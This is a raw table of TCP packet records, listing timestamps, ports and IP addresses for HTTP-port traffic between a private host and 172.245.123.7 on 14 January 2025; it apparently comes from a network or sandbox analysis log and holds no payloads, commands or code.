Jan 14, 2025 06:13:00.816459894 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816459894 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.816479921 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:05.475255966 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:05.475409031 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:07.634146929 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:19.763792038 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:19.769193888 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:19.769295931 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:19.769376040 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:19.774183989 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239456892 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239497900 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239530087 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239562035 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239593983 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239624977 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239660025 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239686012 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.239686012 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.239686012 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.239691973 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239727974 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239732027 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.239764929 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.239804029 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.244909048 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.244941950 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.244976044 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.245084047 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.326965094 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327014923 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327033997 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327052116 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327071905 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327363014 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327368021 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.327399015 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327434063 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327435970 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.327466965 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327480078 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.327502012 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327536106 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.327548027 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.328161001 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.328196049 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.328210115 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.328232050 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.328264952 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.328274965 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.328300953 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.328349113 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.329016924 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.329051018 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.329086065 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.329101086 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.329119921 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.329155922 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.329169989 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.329881907 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.329917908 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.329930067 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.375386953 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.414426088 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.414473057 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.414508104 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.414539099 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.414572001 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.414607048 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.414758921 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.414758921 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.414926052 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.414958954 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.414973021 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.414993048 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415024996 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415057898 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415091038 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415106058 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.415106058 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.415124893 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415139914 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.415678024 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415712118 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415730953 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.415746927 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415780067 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415796041 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.415813923 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415847063 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415864944 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.415880919 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.415929079 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.416462898 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.416496038 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.416531086 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.416543961 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.416563988 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.416599035 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.416616917 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.416631937 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.416667938 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.416677952 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.417401075 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.417433977 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.417452097 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.417469025 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.417500973 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.417515039 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.417534113 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.417567015 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.417579889 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.417602062 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.417648077 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.418277979 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.418311119 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.418344975 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.418358088 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.418378115 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.418414116 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.418426037 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.418447018 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.418483019 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.418493986 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.419095039 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.419142962 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.419146061 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.419179916 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.419212103 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.419224024 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.419246912 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.419291973 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.419737101 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.469031096 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.504148960 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504199982 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504234076 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504266024 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504298925 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504331112 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504364967 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504399061 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504463911 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504513979 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504548073 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504558086 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.504558086 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.504558086 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.504558086 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.504580975 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504615068 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504647017 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504681110 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504713058 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504751921 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504767895 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.504767895 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.504767895 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.504785061 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504822016 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504834890 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.504856110 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504893064 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.504901886 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.505115986 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505148888 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505162954 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.505184889 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505218029 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505230904 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.505253077 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505285978 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505299091 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.505321026 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505353928 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505366087 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.505388021 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505420923 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505434990 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.505455017 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505491972 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505501032 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.505800009 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505835056 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505850077 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.505871058 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505920887 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.505924940 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505958080 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.505992889 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.506002903 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.506026983 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.506061077 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.506072044 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.506094933 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.506129026 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.506140947 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.506162882 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.506197929 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.506211996 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.506932974 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.506967068 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.506983995 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.507003069 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507035971 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507050037 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.507071018 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507106066 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507126093 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.507141113 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507174015 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507205963 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.507205963 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507241011 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507251978 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.507276058 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507327080 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.507339001 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507730961 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507766008 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507783890 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.507818937 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507853031 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507867098 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.507888079 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507920980 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507935047 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.507955074 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.507987022 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508001089 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.508019924 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508053064 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508064985 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.508088112 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508122921 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508133888 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.508677959 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508712053 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508728027 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.508766890 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508799076 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508812904 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.508835077 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508867979 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508882046 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.508902073 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508934021 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.508946896 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.508968115 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.509000063 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.509015083 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.509032965 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.509084940 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.591516972 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591628075 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591665030 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591721058 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591783047 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591798067 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.591799021 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.591818094 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591854095 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591871023 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.591882944 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591901064 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591918945 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591950893 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.591985941 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592019081 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592021942 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592021942 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592050076 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592052937 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592087030 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592096090 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592122078 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592179060 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592231989 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592264891 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592298031 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592329979 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592363119 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592394114 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592427015 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592458963 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592493057 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592525005 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592556000 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592557907 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592592955 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592596054 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592607975 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592628956 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592660904 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592693090 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592694998 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592730045 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592746973 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592772007 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592814922 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592818975 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592870951 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592902899 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592921972 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.592936039 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592969894 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.592983007 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593003035 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593034983 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593044043 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593069077 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593101978 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593110085 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593136072 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593169928 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593175888 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593204021 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593235970 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593244076 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593270063 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593302965 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593319893 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593337059 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593370914 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593375921 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593404055 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593436956 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593444109 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593473911 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593506098 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593513966 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593563080 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593605042 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593612909 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593646049 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593678951 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593692064 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.593734026 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.593776941 CET	49738	80	192.168.2.4	172.245.123.7
